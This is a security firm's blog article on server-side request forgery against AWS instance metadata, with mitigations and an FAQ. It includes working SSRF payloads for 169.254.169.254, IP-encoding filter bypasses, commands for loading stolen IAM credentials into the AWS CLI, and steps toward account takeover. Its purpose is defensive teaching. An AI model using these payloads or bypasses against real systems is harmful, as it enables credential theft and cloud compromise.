Skip to content
CyberXplore - Xplore the Unseen

From SSRF to Cloud Account Takeover: Attacking the Metadata Service

cyberxploreBy cyberxplore11 min read

SSRF cloud metadata attacks turn a URL fetcher into IAM credential theft. See how attackers reach 169.254.169.254 and how IMDSv2 plus egress rules stop it.

From SSRF to Cloud Account Takeover: Attacking the Metadata Service

Hand us a web app that fetches a URL you control – an avatar importer, a webhook tester, a “generate a PDF from this link” button – and the first thing we try is an SSRF cloud metadata probe. The destination barely changes between targets: the link-local address 169.254.169.254, where AWS (and, on slightly different paths, GCP and Azure) runs an instance metadata service that hands out temporary IAM credentials to the workload.

That single request is the whole game. A finding that reads like “the server made an outbound call it should not have” quietly becomes “the server gave us its cloud identity.” We have watched a read-only image proxy turn into a foothold that read S3 buckets and enumerated other roles. Server-side request forgery is CWE-918, and on a cloud host it is almost never just an informational note in the report.

This walkthrough follows the full chain: how an ordinary feature becomes SSRF, how the request lands on the metadata endpoint, why IMDSv1 versus IMDSv2 decides whether the attack works, and how stolen credentials climb toward account takeover. Then the defenses that actually hold up under testing.

Key takeaways

  • SSRF (CWE-918) makes a server send HTTP requests to destinations the attacker chooses, including internal addresses the app can reach but the public internet cannot.
  • The prize on a cloud host is the metadata endpoint at 169.254.169.254. On AWS EC2 running IMDSv1 it returns temporary IAM role credentials over plain HTTP with no authentication.
  • Those credentials plug straight into the AWS CLI or an SDK. If the instance role is over-permissioned, the bug escalates to data theft, lateral movement, and account takeover.
  • IMDSv2 requires a PUT-issued session token and enforces a hop limit, which breaks most naive SSRF-to-metadata attempts. Enforcing it, meaning IMDSv1 is disabled, is the single highest-impact fix.
  • Layer the rest: egress allowlists, blocking link-local and RFC 1918 ranges, re-resolving URLs after every redirect, and least-privilege instance roles.

What is SSRF, and why does the cloud make it worse?

SSRF is a flaw where an app accepts a URL or hostname as input and makes a server-side request to it, letting an attacker aim that request somewhere it was never meant to go. The browser is out of the loop. The vulnerable server makes the call instead, from inside the trust boundary, past the perimeter firewall, with whatever internal network access the host happens to have.

On a plain box that is already bad: internal admin panels, an unauthenticated Redis or Elasticsearch instance, a quick sweep of the internal subnet. The cloud raises the stakes for one specific reason. Every major provider runs a metadata service on the same magic link-local address, 169.254.169.254, reachable only from the instance itself, and its entire job is to hand secrets to the code running there. Trick the app into requesting it and the attacker inherits the instance’s identity.

How does a normal feature turn into SSRF?

The vulnerable feature is usually one the product team shipped with some pride. The recurring suspects we test:

  • URL fetchers and “import from link”: profile-picture-by-URL, “import your data from this URL,” RSS and sitemap importers. The server dereferences whatever you paste.
  • Webhooks and callback testers: “we will POST events to your endpoint, click Test.” That test button fires a server-side request to a host you pick.
  • PDF and image renderers: HTML-to-PDF engines and headless-Chrome screenshotters follow <img>, <iframe>, and CSS url() references. Point one at the metadata endpoint and the rendered output can leak the response back to you.
  • Document and SVG processors: XML parsers and SVG renderers can be coaxed into fetching external resources, which is where XXE quietly turns into SSRF.

The tell is any parameter that eventually becomes an outbound request. We confirm that behavior first with an out-of-band payload, usually Burp Collaborator or a self-hosted interactsh, before touching anything internal:

POST /api/avatar/import HTTP/1.1
Host: example.com
Content-Type: application/json

{"image_url":"http://abcd1234.oastify.com/ping"}

If the listener logs a hit, the server is fetching URLs for us. Note whether it was a DNS lookup only or a full HTTP callback, because a DNS-only hit sometimes points at a rendering pipeline that resolves but does not display the body. Either way, now we aim it somewhere interesting.

How do you reach the metadata endpoint at 169.254.169.254?

Once outbound requests are confirmed, we swap the external host for the link-local metadata address. On an EC2 instance running IMDSv1, step one asks which role is attached:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254

Delivered through the vulnerable parameter, that is just:

{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

The response is the role name. Append it to the path and the endpoint returns live credentials:

GET /latest/meta-data/iam/security-credentials/example-app-role HTTP/1.1
Host: 169.254.169.254
{
  "Code": "Success",
  "AccessKeyId": "ASIAEXAMPLEKEY",
  "SecretAccessKey": "EXAMPLEsecret...",
  "Token": "IQoJb3JpZ2luX2VjE...",
  "Expiration": "2026-07-02T18:00:00Z"
}

When a developer has bolted on a naive blocklist, the classic bypasses come out. Decimal for the same IP is http://2852039166/, octal is http://0251.0376.0251.0376/, and an IPv4-mapped IPv6 form is http://[::ffff:169.254.169.254]/. A DNS name that resolves to the link-local address works too. Our favorite in practice is an open redirect on an allowlisted domain: the app dutifully validates that the URL points at a trusted host, follows the 302, and lands on the metadata endpoint anyway. That is exactly why validating the initial URL string, on its own, is not enough.

What is the difference between IMDSv1 and IMDSv2?

This is the difference between a medium and a critical. IMDSv1 is a plain request-response service: any process that can send a GET to 169.254.169.254 gets an answer. No token, no session, no authentication. That is the exact shape of a basic SSRF, which is why the two are such a dangerous pairing.

IMDSv2 makes the flow stateful. The client first sends a PUT to obtain a token, then includes that token as a header on every subsequent GET:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: <token-from-put>

Two properties defeat most SSRF here. First, it needs a PUT, and plenty of SSRF primitives only issue GETs and cannot control the method. Second, it needs a custom request header the vulnerable fetcher will not add on your behalf. IMDSv2 also sets a default response hop limit of 1, so if the request has been proxied through even one extra network hop, the metadata service quietly drops it. What we want to see enforced is IMDSv1 disabled, not merely IMDSv2 available.

IMDSv2 being available changes nothing on its own. If IMDSv1 is still accepted, an attacker just uses the older, tokenless path. The setting that matters is HttpTokens = required.

How does stolen credential access become account takeover?

The credentials from the metadata service are ordinary STS temporary keys: an access key, a secret, and a session token. We export the three and drive the CLI as the instance role:

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEKEY
export AWS_SECRET_ACCESS_KEY=EXAMPLEsecret...
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjE...
aws sts get-caller-identity

From here the blast radius is a straight function of what that role is permitted to do. First move is quiet enumeration: which buckets, which secrets, which other roles. If the role can read Secrets Manager or SSM Parameter Store, we routinely pull database passwords and API keys that unlock far more than the one instance. If it carries broad IAM rights, the anti-pattern we see far too often, the path to takeover is short: attach an admin policy, mint a fresh access key on a privileged user, or assume a stronger role. On the attacker side this lines up with MITRE ATT&CK Unsecured Credentials (T1552) and the reuse of alternate authentication material.

The lesson from years of these engagements is blunt. SSRF severity is set by the instance role, not by the web bug itself. A tightly scoped role turns a scary-looking finding into a contained one. A permissive role turns a single URL parameter into a cloud-wide incident.

How do you prevent SSRF-to-metadata attacks?

There is no one switch, so we recommend layering the controls below. Any single one can be bypassed. Stacked together, they make the chain genuinely hard to finish.

  • Enforce IMDSv2 and disable IMDSv1. Set HttpTokens to required on every instance and bake it into launch templates and AMIs so new hosts inherit it by default. Where a workload never needs instance metadata, turn the endpoint off entirely.
  • Block link-local and private ranges. The app, or a forward proxy it must route through, should refuse connections to 169.254.0.0/16, the RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and loopback. Do this at the network layer, not only in application code.
  • Egress filtering with allowlists. Outbound traffic from app hosts should reach only the destinations a feature legitimately needs. A URL fetcher that only ever pulls from one partner API has no business reaching an internal IP.
  • Validate and re-resolve URLs. Parse the URL, reject non-HTTP schemes and odd ports, resolve the hostname to an IP, and check that IP against your denylist before connecting. Re-check after every redirect so a 302 cannot walk you into the metadata service. This also blunts DNS rebinding.
  • Least-privilege instance roles. Scope each role to what its workload actually uses and nothing more. This is the control that caps the damage when the others fail.

One warning from the field: string blocklists that match “169.254.169.254” and call it a day fail constantly against decimal, octal, and IPv6 forms. Resolve to a numeric IP and compare against ranges, never against the literal text.

How CyberXplore helps

SSRF-to-metadata is one of the standard paths our testers chase during a cloud penetration testing engagement. We exercise the feature that makes outbound requests, attempt the full chain to the metadata service, and then trace how far the stolen role credentials would actually reach across your account, so you get the real business impact instead of a checkbox. If you want this run against your own environment, request a quote and we will scope it with you.

FAQ

Is SSRF still a real risk if I run in the cloud with a firewall?

Yes. A perimeter firewall does nothing here, because the malicious request originates inside your own instance, which is precisely where the metadata service is reachable. SSRF turns your trusted server into the attacker’s proxy, so any control that only inspects inbound traffic is bypassed. You need egress controls and enforced IMDSv2, not just an inbound firewall.

Does IMDSv2 completely stop SSRF from stealing credentials?

It stops the large majority of real-world cases, but it is not absolute. IMDSv2 defeats GET-only SSRF and any request that crosses an extra hop, which covers most bugs we find. A very flexible SSRF that can issue a PUT and inject the required custom header could still get through, which is why IMDSv2 belongs alongside least-privilege roles and egress filtering rather than being treated as the only control.

What is the address 169.254.169.254 and why does it keep coming up?

It is the link-local IP that cloud providers use to expose their instance metadata service, reachable only from the instance itself. On AWS it serves EC2 metadata and, crucially, temporary IAM role credentials. GCP and Azure expose similar services at that address or via metadata hostnames, which makes it the universal first target once an attacker confirms SSRF on a cloud host.

How do I tell if a feature is vulnerable before an attacker does?

Look for any input that becomes a server-side outbound request: URL importers, webhooks, PDF or image renderers, document parsers. Test each with an out-of-band listener such as Burp Collaborator or interactsh. If the server reaches your listener, check whether it will also reach internal and link-local addresses and whether it follows redirects to them. That is the behavior we probe in a penetration test.

Which CWE and standards cover this issue?

Server-side request forgery is CWE-918, and it has its own category, A10, in the OWASP Top 10 (2021). On the attacker side, harvesting instance credentials and using them maps to MITRE ATT&CK around unsecured credentials (T1552) and the use of alternate authentication material. Citing these in a report helps teams rank and route the fix correctly.

What is the single most important fix?

Enforce IMDSv2 with IMDSv1 disabled on every instance, then scope your instance roles to least privilege. The first change breaks the common SSRF-to-metadata technique outright. The second ensures that even a successful credential theft stays contained to a small, well-understood set of permissions instead of your whole account.

Work with CyberXplore

Cloud Penetration Testing

Seeing this risk in your own systems? Our senior testers find and prove exactly these issues, then hand you a clear path to fix them.

Related articles

Turn these insights into an engagement

Get a senior-led penetration test scoped to your stack - findings you can act on, not a checklist.

  • Free retest on every fix
  • Scoped quote within 24 hours
  • Senior-only testers
  • ISO 27001
  • ISO 9001
  • OSCP
  • CRTP
  • CREST
Get a Quote